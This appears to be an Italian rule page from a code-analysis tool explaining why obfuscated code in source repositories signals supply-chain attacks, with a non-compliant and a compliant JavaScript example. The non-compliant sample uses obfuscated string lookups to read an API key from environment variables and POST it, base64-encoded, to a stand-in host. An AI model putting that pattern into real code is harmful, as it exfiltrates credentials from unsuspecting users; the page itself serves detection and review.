Regola
Rileva potenzialmente maliziosi modelli .
Codice dovrebbe essere trasparente nella suo intenzione.
L' offuscamento o nascondere tecniche suggeriscono
un intenti o backdoor.
Lingue supportate: 45+Introduzione
Il codice offuscato nei repository di produzione non è sempre innocuo. Sebbene esistano casi d’uso legittimi per la minificazione del codice nelle build frontend, una logica deliberatamente oscurata nel codice sorgente spesso indica attacchi alla catena di approvvigionamento, backdoor o dipendenze compromesse. Gli autori degli attacchi utilizzano espedienti di codifica, concatenazioni insolite di stringhe, valutazione dinamica e altre tecniche di offuscamento per nascondere i payload dannosi a revisioni superficiali del codice.
Perché è importante
Implicazioni per la sicurezza: il codice offuscato è uno dei principali indicatori di una compromissione della catena di approvvigionamento. La backdoor XZ Utils del 2024 utilizzava tecniche sofisticate di offuscamento per nascondere codice dannoso finalizzato al bypass dell’autenticazione SSH. Tecniche simili sono state riscontrate in pacchetti npm compromessi che sottraggono variabili d’ambiente o credenziali. Quando il codice nasconde deliberatamente le proprie intenzioni, significa che è stato progettato per eludere il rilevamento durante le revisioni di sicurezza e le scansioni automatizzate.
Manutenibilità del codice: anche quando l’offuscamento non è doloso, crea veri e propri incubi in termini di manutenzione. Gli sviluppatori futuri non riescono a comprenderne l’intento, il debug diventa impossibile e il codice si trasforma in un debito tecnico che nessuno vuole affrontare. La logica offuscata elude tutti gli strumenti di analisi statica progettati per individuare bug o vulnerabilità.
Espansione della superficie di attacco: Tecniche di offuscamento come eval(), Funzione() I costruttori o le stringhe codificate in base64 generano percorsi di esecuzione del codice dinamici che gli strumenti di sicurezza non sono in grado di analizzare in modo statico. Ciò amplia la superficie di attacco introducendo comportamenti in fase di esecuzione che non sono visibili durante la revisione del codice sorgente.
Impatto sulle prestazioni: il codice offuscato ricorre spesso a modelli inefficienti quali l'eccessiva concatenazione di stringhe, l'accesso dinamico alle proprietà o operazioni ripetute di codifica/decodifica. Tali modelli compromettono le prestazioni senza tuttavia perseguire alcuno scopo aziendale legittimo nei repository di codice sorgente.
Esempi di codice
❌ Non conforme:
const _0x4d2e = ['env', 'API_KEY', 'toString', 'base64'];
const _0x1f3a = (i) => _0x4d2e[i];
function sendData(user) {
const key = process[_0x1f3a(0)][_0x1f3a(1)];
const payload = Buffer.from(JSON.stringify({
u: user.email,
k: key
}))[_0x1f3a(2)](_0x1f3a(3));
fetch('https://analytics-cdn.example.com/t', {
method: 'POST',
body: payload
});
}Perché non è sicuro: I nomi delle variabili sono volutamente privi di significato, l'accesso alle stringhe è offuscato tramite l'indicizzazione degli array e l'effettivo endpoint contattato non è chiaro. Questo schema è identico al modo in cui i pacchetti dannosi sottraggono le credenziali, rendendo impossibile verificare il vero intento del codice durante la revisione.
✅ Conforme:
const ANALYTICS_ENDPOINT = 'https://analytics.example.com/track';
function sendAnalyticsEvent(user) {
const event = {
userId: user.id,
email: user.email,
timestamp: Date.now()
};
return fetch(ANALYTICS_ENDPOINT, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(event)
});
}Perché è sicuro: Nomi delle variabili chiari, endpoint esplicito, struttura dei dati trasparente e intento evidente. Chiunque esamini il codice può capire immediatamente quali dati vengono inviati e dove. Questo codice può essere verificato sia da strumenti di sicurezza che da persone.
Conclusione
La presenza di codice offuscato nei repository dei sorgenti costituisce un segnale di allarme in materia di sicurezza che richiede un'indagine approfondita. Sebbene la minificazione in fase di compilazione sia accettabile ai fini dell'ottimizzazione del front-end, il codice sorgente dovrebbe sempre essere leggibile e trasparente. Individuare tempestivamente i modelli di offuscamento previene le violazioni della catena di approvvigionamento e garantisce la verificabilità del codice.
